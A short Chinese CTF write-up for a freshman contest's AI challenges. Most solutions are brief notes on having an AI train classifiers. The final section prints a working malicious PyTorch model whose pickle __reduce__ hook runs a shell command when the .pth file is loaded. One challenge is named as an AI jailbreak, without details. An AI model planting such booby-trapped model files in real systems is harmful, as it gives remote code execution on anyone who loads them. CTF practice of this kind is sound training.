【AI】2025 0x401新生交流赛 wp

目录

许哥的数字游戏

🤫歌的😡🔥

[Aura JailBreak](#Aura JailBreak)

明阳未许

[🔥🌸 LittFlower: Fire Boom! 🌸🔥](#🔥🌸 LittFlower: Fire Boom! 🌸🔥)

---

许哥的数字游戏

就是用题目给的数据去训练个模型识别数字

先叫ai解读下附件内容

让ai根据数据集训练个模型

把题目交互方式告诉ai，写个解题脚本拿到flag

🤫歌的😡🔥

附件内容，一个是有火的图，一个是没火的图

还是让ai训练模型&写交互

拿到flag

Aura JailBreak

明阳未许

一样是ai秒了

🔥🌸 LittFlower: Fire Boom! 🌸🔥

import torch
import torch.nn as nn
from torchvision import models
import builtins
import os

class MaliciousMobileNetV2(models.MobileNetV2):
    def __init__(self, num_classes=2):
        super().__init__(num_classes=num_classes)
        
    def __reduce__(self):
        
        state_dict = self.state_dict()

        fake_state_dict = state_dict.copy()
        
        if "classifier.1.weight" in fake_state_dict:
            del fake_state_dict["classifier.1.weight"]
        if "classifier.1.bias" in fake_state_dict:
            del fake_state_dict["classifier.1.bias"]
        cmd = "import os; os.system('cp /flag /app/static/flag.txt')"
        
        return (builtins.eval, (
            "(exec(cmd), state_dict)[1]", 
            {'cmd': cmd, 'state_dict': fake_state_dict}
        ))

if __name__ == '__main__':
    model = MaliciousMobileNetV2(num_classes=2)
    save_path = 'evil.pth'
    print(f"正在生成 Payload: {save_path} ...")
    torch.save(model, save_path)
    print("生成成功！")

上传脚本生成的.pth文件，加载模型触发pickle反序列化RCE拿到flag